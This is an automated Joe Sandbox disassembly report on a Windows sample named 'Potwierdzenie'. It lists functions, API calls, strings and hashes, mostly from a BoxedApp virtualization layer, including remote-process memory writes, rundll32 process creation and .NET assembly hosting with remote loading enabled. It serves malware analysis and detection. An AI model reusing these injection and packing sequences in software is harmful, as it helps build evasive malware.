Associated: 0000000A.00000002.2880715400.0000000000400000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2881798543.000000000040C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2881916753.000000000041B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2882058353.000000000041D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Potwierdzenie.jbxd

Similarity

API ID: __acrt_iob_func$ferrorfwritephp_handle_aborted_connection
String ID:
API String ID: 912128676-0
Opcode ID: ed9e0c25d4035fd996912797dd81af300245d2adc9e70d3229fe66d5a2b0f2fc
Instruction ID: 63dec0c8c838f3d86c6be06118a814f93b1a708f8f196ad264de70a0c2cd3134
Opcode Fuzzy Hash: ed9e0c25d4035fd996912797dd81af300245d2adc9e70d3229fe66d5a2b0f2fc
Instruction Fuzzy Hash: 4811E9727402045BD7201B7CAC886BB7759EB80772F19023AFD09F77E1DF75584486A9

Function 00401010 Relevance: 1.5, APIs: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,?,00000000,?,?,00401078), ref: 00401027

Memory Dump Source

Source File: 0000000A.00000002.2880896410.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2880715400.0000000000400000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2881798543.000000000040C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2881916753.000000000041B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2882058353.000000000041D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Potwierdzenie.jbxd

Similarity

API ID: __stdio_common_vfprintf
String ID:
API String ID: 896710484-0
Opcode ID: fbde6c59495e089df53bb8ee2bfe7803924acf5063485cadc01e8744c9eee59a
Instruction ID: 89ad39f65b1506c330828eb3952e0fef2a54c9527891f046f360302eacb9175f
Opcode Fuzzy Hash: fbde6c59495e089df53bb8ee2bfe7803924acf5063485cadc01e8744c9eee59a
Instruction Fuzzy Hash: 82D02231004108BFCB212B648C06F143B28DB01325F0083A8BD282A0F2EE33A5309BCE

Non-executed Functions

Function 0BC044E0 Relevance: 181.9, APIs: 73, Strings: 30, Instructions: 1699COMMON

Download Yara Rule

APIs

Part of subcall function 0BCC0E20: GetLastError.KERNEL32(00000000,0BBF7CEB,?,00000000,0BBF5C6B), ref: 0BCC0E23

Part of subcall function 0BCBF030: GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),?,?,?,?,?,?,?), ref: 0BCBF090
Part of subcall function 0BCBF030: GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),?,?,?,?,?,?,?), ref: 0BCBF0A8
Part of subcall function 0BCBF030: GetLastError.KERNEL32(?,?,?), ref: 0BCBF0AE

GetLastError.KERNEL32 ref: 0BC0462A

Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,0BCDB50C,00000000,?,?), ref: 0BC6F5EE
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F604
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,0BCDB510,00000000,?,?), ref: 0BC6F651
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F667
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,0BCD6328,00000000,?,?), ref: 0BC6F6BB
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F6D1

EqualSid.ADVAPI32(00000000,00000000), ref: 0BC04698
IsTokenRestricted.ADVAPI32(?), ref: 0BC046A1
GetLastError.KERNEL32 ref: 0BC0451D

Part of subcall function 0BC6F4A0: GetLocalTime.KERNEL32(00000000,00000000,00000000,00000000), ref: 0BC6F4DF
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,bx:,00000000,?), ref: 0BC6F51B
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F537
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,0BCDB50C,00000000,?,?), ref: 0BC6F58B
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F5A1

Part of subcall function 0BC72C40: memcpy.NTDLL(00000000,75BF8400,00000000,75BF8400,?,75BF8400,?,?,0BC6F54B,?), ref: 0BC72CA8

Part of subcall function 0BC72C00: wsprintfA.USER32 ref: 0BC72C1B

Part of subcall function 0BC729E0: memcpy.NTDLL(00000000,0BCCD818,00000000,0000000A,00000000,00000000,?,00000000,0BCCD818), ref: 0BC72A20
Part of subcall function 0BC729E0: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0BC72A58

GetCurrentProcess.KERNEL32(000F01FF,?), ref: 0BC04598
OpenProcessToken.ADVAPI32(00000000), ref: 0BC0459B
GetLastError.KERNEL32 ref: 0BC045A5
CloseHandle.KERNEL32(00000000), ref: 0BC05B3B

Strings

: NtQueryObject() failed when tried to get ObjectHandleFlagInformation of process handle, status = , xrefs: 0BC05817
[info] , xrefs: 0BC05791, 0BC058FA
: DuplicateHandle() failed, last error = , xrefs: 0BC04ABC
D, xrefs: 0BC04818
[error], xrefs: 0BC04FBF, 0BC050CA
core, xrefs: 0BC04547, 0BC045CF, 0BC04654, 0BC046CE, 0BC04715, 0BC047E7, 0BC048A8, 0BC0496C, 0BC04B41, 0BC04FC4, 0BC050CF, 0BC051D8, 0BC05253, 0BC0565D, 0BC05796, 0BC0587E, 0BC058FF, 0BC059E9, 0BC05A72
MapViewOfFile() failed, last error: , xrefs: 0BC049F6
CreateFileMappingW() failed, last error: , xrefs: 0BC04962
: lpProcessAttributes->bInheritHandle is TRUE, so going to set OBJECT_HANDLE_ATTRIBUTE_INFORMATION::Inherit for process handle, xrefs: 0BC05787
bx_createprocessasuserw_, xrefs: 0BC04906
: SafeWaitForSingleObject() returns error: , xrefs: 0BC05A68
BuildRunDll32HelperCmdLine() failed, xrefs: 0BC047DD
: VirtualAllocEx() failed, last error = , xrefs: 0BC04D05, 0BC04D92, 0BC04F6B, 0BC05080, 0BC051CE, 0BC05305
: NtQueryObject() failed when tried to get ObjectHandleFlagInformation of Thread handle, status = , xrefs: 0BC05981
: ResumeThread() failed, last error = , xrefs: 0BC05653
: token is restricted, but points to the current process user name, so let's run under current user token, xrefs: 0BC0470B
[warning] , xrefs: 0BC05879, 0BC059E4
: Utils::GetTokenUser() failed, GetLastError() = , xrefs: 0BC0453D, 0BC0464A
BoxedApp::CBoxedAppCore::CreateProcessAsUserW_Common, xrefs: 0BC04542, 0BC045CA, 0BC0464F, 0BC046C9, 0BC04710, 0BC047E2, 0BC048A3, 0BC04967, 0BC04B3C, 0BC04FBA, 0BC050C5, 0BC051D3, 0BC0524E, 0BC05658, 0BC0578C, 0BC05874, 0BC058F5, 0BC059DF, 0BC05A6D
: WriteProcessMemory() failed, last error = , xrefs: 0BC04FB5, 0BC050C0, 0BC05249, 0BC0534F
: MakeSelfRelativeSD() failed, last error = , xrefs: 0BC04C4B, 0BC04CA0, 0BC04E31, 0BC04EB1, 0BC04F06
: NtQueryObject() failed when tried to call NtSetInformationObject / ObjectHandleFlagInformation for process handle, status = , xrefs: 0BC0586F
: lpThreadAttributes->bInheritHandle is TRUE, so going to set OBJECT_HANDLE_ATTRIBUTE_INFORMATION::Inherit for Thread handle, xrefs: 0BC058F0
: AllocStringInRemoteProcessW() failed, last error = , xrefs: 0BC04B37
%s%d, xrefs: 0BC0490B
: Can't create process of rundll32.exe, last error = , xrefs: 0BC0489E
: OpenProcessToken() failed, GetLastError() = , xrefs: 0BC045C5
: token points to the current user, xrefs: 0BC046C4
: DuplicateHandle() failed to pass handle to rundll32.exe, last error = , xrefs: 0BC04A67
: NtQueryObject() failed when tried to call NtSetInformationObject / ObjectHandleFlagInformation for Thread handle, status = , xrefs: 0BC059DA

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy$wsprintf$ErrorLast$Token$InformationProcess$CloseCurrentEqualFileHandleLocalOpenRestrictedTimeWrite
String ID: %s%d$: AllocStringInRemoteProcessW() failed, last error = $: Can't create process of rundll32.exe, last error = $: DuplicateHandle() failed to pass handle to rundll32.exe, last error = $: DuplicateHandle() failed, last error = $: MakeSelfRelativeSD() failed, last error = $: NtQueryObject() failed when tried to call NtSetInformationObject / ObjectHandleFlagInformation for Thread handle, status = $: NtQueryObject() failed when tried to call NtSetInformationObject / ObjectHandleFlagInformation for process handle, status = $: NtQueryObject() failed when tried to get ObjectHandleFlagInformation of Thread handle, status = $: NtQueryObject() failed when tried to get ObjectHandleFlagInformation of process handle, status = $: OpenProcessToken() failed, GetLastError() = $: ResumeThread() failed, last error = $: SafeWaitForSingleObject() returns error: $: Utils::GetTokenUser() failed, GetLastError() = $: VirtualAllocEx() failed, last error = $: WriteProcessMemory() failed, last error = $: lpProcessAttributes->bInheritHandle is TRUE, so going to set OBJECT_HANDLE_ATTRIBUTE_INFORMATION::Inherit for process handle$: lpThreadAttributes->bInheritHandle is TRUE, so going to set OBJECT_HANDLE_ATTRIBUTE_INFORMATION::Inherit for Thread handle$: token is restricted, but points to the current process user name, so let's run under current user token$: token points to the current user$BoxedApp::CBoxedAppCore::CreateProcessAsUserW_Common$BuildRunDll32HelperCmdLine() failed$CreateFileMappingW() failed, last error: $D$MapViewOfFile() failed, last error: $[error]$[info] $[warning] $bx_createprocessasuserw_$core
API String ID: 486659681-1057575143
Opcode ID: 73b2e14979ee1b181b4adb7b36c29c9786502b7eb42408d5df7eeb4085a2e88e
Instruction ID: b9a430ebde9bf9c43cb555e8983d8961315855f7e791e53628cd0fca6068c835
Opcode Fuzzy Hash: 73b2e14979ee1b181b4adb7b36c29c9786502b7eb42408d5df7eeb4085a2e88e
Instruction Fuzzy Hash: 3FD27330A71206AFDB14EF60CC96FAEB7B5EF64600F044179E916A7290EF70DA45DB90

Function 0BC1C2AB Relevance: 146.9, APIs: 62, Strings: 21, Instructions: 1658librarymemorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 0BC179F0: memcpy.NTDLL(00000000,?,?), ref: 0BC17A39

memcpy.NTDLL(?,?,?), ref: 0BC1C2D4
memcpy.NTDLL(?,0BCCE4D4,00000000,?,?,?), ref: 0BC1C2EF
memcpy.NTDLL(?,?,?,?,00000000,?), ref: 0BC1C3BA
memcpy.NTDLL(?,?,00000000,?,?,?,?,00000000,?), ref: 0BC1C3DB
GetCurrentThreadId.KERNEL32 ref: 0BC1C426
memcpy.NTDLL(?,?,?,?,00000000), ref: 0BC1C5A4
memcpy.NTDLL(?,0BCCE4D4,00000000,?,?,?,?,00000000), ref: 0BC1C5BF
memcpy.NTDLL(?,?,?,?,00000000,?,00000000), ref: 0BC1C69E
memcpy.NTDLL(?,?,00000000,?,?,?,?,00000000,?,00000000), ref: 0BC1C6BF
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC1C74F

Part of subcall function 0BCBEC80: GetSystemDirectoryW.KERNEL32(00000000,00000001), ref: 0BCBEC95
Part of subcall function 0BCBEC80: GetSystemDirectoryW.KERNEL32(00000000,00000001), ref: 0BCBECCA

memcpy.NTDLL(?,?,?,?,00000000,00000000), ref: 0BC1C864
memcpy.NTDLL(?,0BCCE4D4,00000000,?,?,?,?,00000000,00000000), ref: 0BC1C87F
memcpy.NTDLL(?,?,?,?,00000000,?,00000000,00000000), ref: 0BC1C92C
memcpy.NTDLL(?,?,00000000,?,?,?,?,00000000,?,00000000,00000000), ref: 0BC1C949
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC1C493

Part of subcall function 0BC73EA0: HeapFree.KERNEL32(00000001,00000000,0BCF75BC,0BCF75C8,0BBF107E,-00000004,00000000), ref: 0BC73EC9
Part of subcall function 0BC73EA0: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC73F04

SetCurrentDirectoryW.KERNEL32(00000000), ref: 0BC1CA55
GetCurrentProcess.KERNEL32(00000001,0BCF7850), ref: 0BC1CA89
GetCurrentProcess.KERNEL32(0000000B,0BCF7858,00000000,?,00000000), ref: 0BC1CA9B
GetCurrentProcess.KERNEL32(0000000C,0BCF7860), ref: 0BC1CAAD
FreeLibrary.KERNEL32(?,?,00000000), ref: 0BC1CC79
VirtualProtect.KERNEL32(?,000000F8,00000004,?), ref: 0BC1CCB1
LoadLibraryW.KERNEL32(mscoree.dll,_CorExeMain), ref: 0BC1CE96
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,00000000), ref: 0BC1CF46
GetFileSize.KERNEL32(?,00000000), ref: 0BC1CF64
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 0BC1CF90
CloseHandle.KERNEL32(?), ref: 0BC1CF97
VirtualQuery.KERNEL32(00000000,?,0000001C), ref: 0BC1D070
VirtualProtect.KERNEL32(?,?,00000040,?), ref: 0BC1D08F
AttachConsole.KERNEL32(00000000), ref: 0BC1D18E
AllocConsole.KERNEL32 ref: 0BC1D196
SetConsoleTitleW.KERNEL32(?), ref: 0BC1D1DB
lstrlenW.KERNEL32(\??\), ref: 0BC1D201
lstrlenW.KERNEL32(?), ref: 0BC1D20F
lstrlenW.KERNEL32(\??\), ref: 0BC1D220
lstrlenW.KERNEL32(\??\), ref: 0BC1D24D
GetEnvironmentVariableW.KERNEL32(PATH,00000000,00000001), ref: 0BC1D283
GetEnvironmentVariableW.KERNEL32(PATH,?,00000002,?,?,00000000), ref: 0BC1D2BA
memcpy.NTDLL(?,0BCCEB68,00000000,69560000), ref: 0BC1D330
memcpy.NTDLL(?,?,00000000,?,?,?,?,00000000), ref: 0BC1D37A
memcpy.NTDLL(00000000,0BCCEB68,00000000,69560000,?,?,?,00000000), ref: 0BC1D3BD
SetEnvironmentVariableW.KERNEL32(PATH,?,?,?,69560000,?,?,?,00000000), ref: 0BC1D3CB
LoadLibraryW.KERNEL32(?), ref: 0BC1D4E1
LoadLibraryA.KERNEL32(0BCCEB84), ref: 0BC1D57E
LoadLibraryA.KERNEL32(0BCCEBC0), ref: 0BC1D63D
LoadLibraryW.KERNEL32(shell32.dll,?,?,?,?,?,?,?,69560000,?,?,?,00000000), ref: 0BC1D75A
GetCommandLineW.KERNEL32(?,?,?,?,?,?,?,?,69560000,?,?,?,00000000), ref: 0BC1D76B

Part of subcall function 0BBFD090: memcpy.NTDLL(00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,0BC6F4B8,00000000,00000000,00000000), ref: 0BBFD136

LocalFree.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,69560000,?,?,?,00000000), ref: 0BC1D7D3
LoadLibraryW.KERNEL32(mscoree.dll,_CorExeMain,?,?,?,?,?,?,?,69560000,?,?,?,00000000), ref: 0BC1D7E3
ExitProcess.KERNEL32 ref: 0BC1D7EC
ExitProcess.KERNEL32 ref: 0BC1D805
LoadLibraryW.KERNEL32(mscoree.dll,_CorExeMain,?,?,?,?,?,?,?,69560000,?,?,?,00000000), ref: 0BC1D821
ExitProcess.KERNEL32 ref: 0BC1D82A
ExitProcess.KERNEL32 ref: 0BC1D835
ExitProcess.KERNEL32 ref: 0BC1CEA3

Part of subcall function 0BC6F4A0: GetLocalTime.KERNEL32(00000000,00000000,00000000,00000000), ref: 0BC6F4DF
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,bx:,00000000,?), ref: 0BC6F51B
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F537
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,0BCDB50C,00000000,?,?), ref: 0BC6F58B
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F5A1

ExitProcess.KERNEL32 ref: 0BC1CEED
VirtualProtect.KERNEL32(?,000000F8,?,?), ref: 0BC1CCDA

Part of subcall function 0BBFF510: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000000,00000000,?,?,0BBF2FC0,00000000,layer/sandbox,BoxedApp::ApiLayer::CAutoForceWriteCopyMode::Init,: TlsAlloc() failed, GetLastError() = ,00000000,0BCCD818), ref: 0BBFF558

Part of subcall function 0BC72C00: wsprintfA.USER32 ref: 0BC72C1B

Part of subcall function 0BC72C40: memcpy.NTDLL(00000000,75BF8400,00000000,75BF8400,?,75BF8400,?,?,0BC6F54B,?), ref: 0BC72CA8

Part of subcall function 0BC729E0: memcpy.NTDLL(00000000,0BCCD818,00000000,0000000A,00000000,00000000,?,00000000,0BCCD818), ref: 0BC72A20
Part of subcall function 0BC729E0: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0BC72A58

ExitProcess.KERNEL32 ref: 0BC1D960

Strings

unexpectedly, GetLastError() = , xrefs: 0BC1D897
shell32.dll, xrefs: 0BC1D755
VirtualDllWithTls.dll, xrefs: 0BC1D550
, xrefs: 0BC1D493
_CorExeMain, xrefs: 0BC1CE8C, 0BC1D7D9, 0BC1D817
image_nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].Size = , xrefs: 0BC1CE0E
core, xrefs: 0BC1CD73, 0BC1CDBF, 0BC1CE13, 0BC1CE68, 0BC1CEC4, 0BC1D8A2, 0BC1D924
CommandLineToArgvW, xrefs: 0BC1D75C
mscoree.dll, xrefs: 0BC1CE91, 0BC1D7DE, 0BC1D81C
\??\, xrefs: 0BC1D1FC, 0BC1D219, 0BC1D244
WaitForSingleObject(Globals::g_AttachedProcessInfo.m_hProcessToWaitForExit, INFINITE) returned , xrefs: 0BC1D89D
IsTlsProcessingInLoadLibrary, xrefs: 0BC1D58A
image_nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress and .Size both are not 0, so th, xrefs: 0BC1CE63
PATH, xrefs: 0BC1D27E, 0BC1D2B5, 0BC1D3C6
image_nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR] = , xrefs: 0BC1CDBA
image_nt_headers.OptionalHeader.AddressOfEntryPoint is NULL, let's check if this application is .net, xrefs: 0BC1CD6E
DeleteFile(", xrefs: 0BC1D91F
VirtualDllWithSameImport.dll, xrefs: 0BC1CFA4
image_nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress and .Size both are 0, so this a, xrefs: 0BC1CEBF
, xrefs: 0BC1CB22
") failed, GetLastError() = , xrefs: 0BC1D90E

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy$Process$Library$ExitLoad$Current$FileVirtuallstrlen$ConsoleDirectoryEnvironmentFreeProtectReleaseSemaphoreVariablewsprintf$LocalSystem$AllocAttachCloseCommandCreateHandleHeapLineQueryReadSizeThreadTimeTitleWrite
String ID: $ $ unexpectedly, GetLastError() = $") failed, GetLastError() = $CommandLineToArgvW$DeleteFile("$IsTlsProcessingInLoadLibrary$PATH$VirtualDllWithSameImport.dll$VirtualDllWithTls.dll$WaitForSingleObject(Globals::g_AttachedProcessInfo.m_hProcessToWaitForExit, INFINITE) returned $\??\$_CorExeMain$core$image_nt_headers.OptionalHeader.AddressOfEntryPoint is NULL, let's check if this application is .net$image_nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR] = $image_nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].Size = $image_nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress and .Size both are 0, so this a$image_nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress and .Size both are not 0, so th$mscoree.dll$shell32.dll
API String ID: 2568863887-1990105299
Opcode ID: 255dc74f5eb361d905dc98bc5e08df6dce774502d369949fb258fc170e20737e
Instruction ID: c8df6c51506c3a7f8968e5049c01c0a570151ea70e7c4f3d7e1f291f744a917f
Opcode Fuzzy Hash: 255dc74f5eb361d905dc98bc5e08df6dce774502d369949fb258fc170e20737e
Instruction Fuzzy Hash: 16E28071A502199FDB24EF64DC95BEEB7B9FF05304F0444A9E50AAB240DB70EA44DFA0

Function 0BCA2800 Relevance: 143.6, APIs: 95, Instructions: 1116COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2eac5c93ab8f39dd548b60f85ac51c686ee365c7be26be68dd1f178877c02fb
Instruction ID: 3279c8782f01dfc1fd08038ae13016dd0b8d3476e09c5a0cb96f157d093a50c0
Opcode Fuzzy Hash: d2eac5c93ab8f39dd548b60f85ac51c686ee365c7be26be68dd1f178877c02fb
Instruction Fuzzy Hash: A6824DB4D21227AFDF15DF66C890AAF77B9BF88658F044519ED15EB300E774DA008BA0

Function 0BC1E639 Relevance: 109.3, APIs: 43, Strings: 19, Instructions: 838libraryfileloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0BC1A0A0: memcpy.NTDLL(00000000,\assembly\GAC\BoxedAppSDK_AppDomainManager\1.0.0.0__ef07ce3257ee81c1\BoxedAppSDK_AppDomainManager.dll,?,00000000,00000000), ref: 0BC1A10E
Part of subcall function 0BC1A0A0: memcpy.NTDLL(00000000,\.NETFramework\assembly\GAC\BoxedAppSDK_AppDomainManager\1.0.0.0__ef07ce3257ee81c1\BoxedAppSDK_AppDomainManager.dll,00000000,00000000,00000000), ref: 0BC1A15E
Part of subcall function 0BC1A0A0: WriteFile.KERNEL32(00000000,0BCF4C20,?,00000000,00000000,40000000,00000001,00000000,00000002,00000000,00000000), ref: 0BC1A1B5
Part of subcall function 0BC1A0A0: CloseHandle.KERNEL32(00000000), ref: 0BC1A1BC

Part of subcall function 0BCBE170: GetFullPathNameW.KERNEL32(?,00000001,00000000,00000000,?,0BBFC1C5), ref: 0BCBE19B
Part of subcall function 0BCBE170: memcpy.NTDLL(00000000,00000001,?,00000000,00000000), ref: 0BCBE289

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0BC1E666
GetFileSize.KERNEL32(00000000,00000000), ref: 0BC1E67F
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0BC1E6A5
CloseHandle.KERNEL32(00000000), ref: 0BC1E6AC
LoadLibraryExW.KERNEL32(?,00000000,00000001), ref: 0BC1E6B9
FreeLibrary.KERNEL32(00000000), ref: 0BC1E74F
CoInitialize.OLE32 ref: 0BC1E76C
LoadLibraryW.KERNEL32(mscoree.dll), ref: 0BC1E789
GetProcAddress.KERNEL32(00000000,CorBindToRuntimeEx), ref: 0BC1E798

Part of subcall function 0BC73EA0: HeapFree.KERNEL32(00000001,00000000,0BCF75BC,0BCF75C8,0BBF107E,-00000004,00000000), ref: 0BC73EC9
Part of subcall function 0BC73EA0: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC73F04

Strings

shell32.dll, xrefs: 0BC1EA04
ERROR: , xrefs: 0BC1EF7D
CorBindToRuntimeEx, xrefs: 0BC1E78F
.config, xrefs: 0BC1E92A, 0BC1E957, 0BC1EC5D, 0BC1ECB5, 0BC1EE0B, 0BC1EE5D
ExecuteAssemblyInNewDomain, xrefs: 0BC1EEF3
ExecuteAssemblyInNewDomainAndCallAppDomainUnload, xrefs: 0BC1EEEC, 0BC1EF00
DotNetAppDomainManager.CManagedHost, xrefs: 0BC1EDEE, 0BC1EF19
wks, xrefs: 0BC1E7DF
ExecuteAssemblyInCurrentDomain, xrefs: 0BC1EF0B
BoxedAppSDK_ExecuteDotNetApplicationExW, xrefs: 0BC1EF78
core, xrefs: 0BC1EF82
CommandLineToArgvW, xrefs: 0BC1EA0F
mscoree.dll, xrefs: 0BC1E77E
name, xrefs: 0BC1E9D8
BoxedAppSDK_AppDomainManager, Version=1.0.0.0, Culture=neutral, PublicKeyToken=ef07ce3257ee81c1, xrefs: 0BC1ED70
<?xml version="1.0"?><configuration><runtime><loadFromRemoteSources enabled="true" /></runtime></configuration>, xrefs: 0BC1ED06
SetArgs, xrefs: 0BC1EDE9
: unexpected OptionalHeader.Magic = , xrefs: 0BC1EF73
DotNetAppDomainManager.CAppDomainManager, xrefs: 0BC1ED6B

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: File$Librarymemcpy$CloseFreeHandleLoad$AddressCreateFullHeapInitializeNamePathProcReadReleaseSemaphoreSizeWrite
String ID: .config$: unexpected OptionalHeader.Magic = $<?xml version="1.0"?><configuration><runtime><loadFromRemoteSources enabled="true" /></runtime></configuration>$BoxedAppSDK_AppDomainManager, Version=1.0.0.0, Culture=neutral, PublicKeyToken=ef07ce3257ee81c1$BoxedAppSDK_ExecuteDotNetApplicationExW$CommandLineToArgvW$CorBindToRuntimeEx$DotNetAppDomainManager.CAppDomainManager$DotNetAppDomainManager.CManagedHost$ERROR: $ExecuteAssemblyInCurrentDomain$ExecuteAssemblyInNewDomain$ExecuteAssemblyInNewDomainAndCallAppDomainUnload$SetArgs$core$mscoree.dll$name$shell32.dll$wks
API String ID: 3643152852-211045785
Opcode ID: ca4ab68f8f9702f39722955c586d7e641b52d500d6156c80ffda30bde0f168be
Instruction ID: a17b53e6623d33c3b2cc17f2d99926ae5cd8a0ea6b6da2686ae19cd19f03dea9
Opcode Fuzzy Hash: ca4ab68f8f9702f39722955c586d7e641b52d500d6156c80ffda30bde0f168be
Instruction Fuzzy Hash: 89628F71E1021AAFDB14DFA4CC85BAEB7B9BF45710F044468E916FB250DB34EA05DBA0

Function 0BCB8F00 Relevance: 95.8, APIs: 46, Strings: 8, Instructions: 1284COMMON

Download Yara Rule

Strings

\winsxs\, xrefs: 0BCB917F, 0BCB91A8
name, xrefs: 0BCB934A, 0BCB9388
.cat, xrefs: 0BCB90ED, 0BCB911C
.manifest, xrefs: 0BCB90A4, 0BCB90D4, 0BCB9975, 0BCB99A4
\winsxs\manifests\, xrefs: 0BCB9047, 0BCB9074, 0BCB9927, 0BCB9954
